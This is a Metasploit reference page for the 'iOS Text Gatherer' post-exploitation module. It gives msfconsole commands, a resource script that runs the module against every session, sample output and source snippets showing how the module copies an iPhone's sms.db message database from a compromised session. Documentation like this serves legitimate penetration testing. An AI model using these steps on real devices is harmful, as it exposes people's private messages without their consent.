iOS Text Gatherer - Metasploit
This page contains detailed information about how to use the post/apple_ios/gather/ios_text_gather metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: iOS Text Gatherer
Module: post/apple_ios/gather/ios_text_gather
Source code: modules/post/apple_ios/gather/ios_text_gather.rb
Disclosure date: -
Last modification time: 2018-11-02 08:01:15 +0000
Supported architecture(s): -
Supported platform(s): Apple_iOS
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module collects text messages from iPhones. Tested on iOS 10.3.3 on an iPhone 5.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/apple_ios/gather/ios_text_gather
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/apple_ios/gather/ios_text_gather
msf post(ios_text_gather) > show options
... show and set options ...
msf post(ios_text_gather) > set SESSION session-id
msf post(ios_text_gather) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/apple_ios/gather/ios_text_gather")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module downloads the sms.db
file from iPhones
Verification Steps
- Start msfconsole
- Get a session
- Do:
use post/apple_ios/gather/ios_text_gather
- Do:
set SESSION <session>
- Do:
run
- You should get the sms.db file on the iPhone target
Scenarios
Tested on iOS 10.3.3 on an iPhone 5
msf5 > use post/apple_ios/gather/ios_text_gather
msf5 post(apple_ios/gather/ios_text_gather) > set session 1
session => 1
msf5 post(apple_ios/gather/ios_text_gather) > run
[!] SESSION may not be compatible with this module.
[+] sms.db file found
[+] sms.db stored at /Users/space/.msf4/loot/20181101154200_default_192.168.43.49_sms.db.file_591456.txt
[*] Post module execution completed
Go back to menu.
Msfconsole Usage
Here is how the apple_ios/gather/ios_text_gather post exploitation module looks in the msfconsole:
msf6 > use post/apple_ios/gather/ios_text_gather
msf6 post(apple_ios/gather/ios_text_gather) > show info
Name: iOS Text Gatherer
Module: post/apple_ios/gather/ios_text_gather
Platform: Apple_iOS
Arch:
Rank: Normal
Provided by:
Shelby Pace
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Description:
This module collects text messages from iPhones. Tested on iOS
10.3.3 on an iPhone 5.
Module Options
This is a complete list of options available in the apple_ios/gather/ios_text_gather post exploitation module:
msf6 post(apple_ios/gather/ios_text_gather) > show options
Module options (post/apple_ios/gather/ios_text_gather):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the apple_ios/gather/ios_text_gather post exploitation module:
msf6 post(apple_ios/gather/ios_text_gather) > show advanced
Module advanced options (post/apple_ios/gather/ios_text_gather):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the apple_ios/gather/ios_text_gather module can do:
msf6 post(apple_ios/gather/ios_text_gather) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the apple_ios/gather/ios_text_gather post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(apple_ios/gather/ios_text_gather) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to read sms.db file
Here is a relevant code snippet related to the "Failed to read sms.db file" error message:
24: def download_text_db(file_path)
25: db_file_data = read_file(file_path)
26: loc = store_loot('sms.db.file', 'text/plain', session, db_file_data, 'sms.db')
27: print_good("sms.db stored at #{loc}")
28: rescue
29: fail_with(Failure::NoAccess, "Failed to read sms.db file")
30: end
31:
32: def run
33: sms_path = '/private/var/mobile/Library/SMS/sms.db'
34: unless file?(sms_path)
Couldn't locate sms.db file
Here is a relevant code snippet related to the "Couldn't locate sms.db file" error message:
30: end
31:
32: def run
33: sms_path = '/private/var/mobile/Library/SMS/sms.db'
34: unless file?(sms_path)
35: fail_with(Failure::NotFound, "Couldn't locate sms.db file")
36: end
37:
38: print_good('sms.db file found')
39: download_text_db(sms_path)
40: end
Go back to menu.
Related Pull Requests
Go back to menu.
See Also
Check also the following modules related to this module:
- auxiliary/dos/apple_ios/webkit_backdrop_filter_blur
- exploit/apple_ios/browser/safari_jit
- exploit/apple_ios/browser/safari_libtiff
- exploit/apple_ios/browser/webkit_createthis
- exploit/apple_ios/browser/webkit_trident
- exploit/apple_ios/email/mobilemail_libtiff
- exploit/apple_ios/ssh/cydia_default_ssh
- payload/apple_ios/aarch64/meterpreter_reverse_http
- payload/apple_ios/aarch64/meterpreter_reverse_https
- payload/apple_ios/aarch64/meterpreter_reverse_tcp
- payload/apple_ios/aarch64/shell_reverse_tcp
- payload/apple_ios/armle/meterpreter_reverse_http
- payload/apple_ios/armle/meterpreter_reverse_https
- payload/apple_ios/armle/meterpreter_reverse_tcp
- post/apple_ios/gather/ios_image_gather
- post/multi/gather/apple_ios_backup
Authors
- Shelby Pace
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.